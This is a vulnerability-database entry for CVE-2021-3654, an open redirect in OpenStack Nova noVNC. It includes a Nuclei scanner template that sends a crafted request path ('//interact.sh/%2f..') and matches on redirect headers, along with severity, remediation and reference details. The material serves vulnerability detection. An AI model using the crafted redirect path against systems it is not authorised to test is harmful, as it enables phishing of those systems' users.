CVE-2021-3654: Nova noVNC - Open Redirect

日期: 2025-08-01 | 影响软件: Nova noVNC | POC: 已公开

漏洞描述

Nova noVNC contains an open redirect vulnerability. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

PoC代码[已公开]

id: CVE-2021-3654

info:
  name: Nova noVNC - Open Redirect
  author: geeknik
  severity: medium
  description: Nova noVNC contains an open redirect vulnerability. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to redirect users to malicious websites, leading to potential phishing attacks.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the open redirect vulnerability in the Nova noVNC application.
  reference:
    - https://seclists.org/oss-sec/2021/q3/188
    - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3654
    - https://bugs.python.org/issue32084
    - https://opendev.org/openstack/nova/commit/04d48527b62a35d912f93bc75613a6cca606df66
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3654
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-3654
    cwe-id: CWE-601
    epss-score: 0.88735
    epss-percentile: 0.99492
    cpe: cpe:2.3:a:openstack:nova:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: openstack
    product: nova
  tags: cve2021,cve,redirect,novnc,seclists,openstack

http:
  - method: GET
    path:
      - '{{BaseURL}}//interact.sh/%2f..'

    matchers-condition: and
    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$'

      - type: status
        status:
          - 302
          - 301
# digest: 4a0a00473045022100ea34fba70beab18dc1c4dc9950bfd836dc9684f570f9f7554398eb9e461f252e02200a1ca05999a386c66b14bb3d27920b009fb5a42476d1a13cf476c8d788fe3fb8:922c64590222798bb761d5b6d8e72950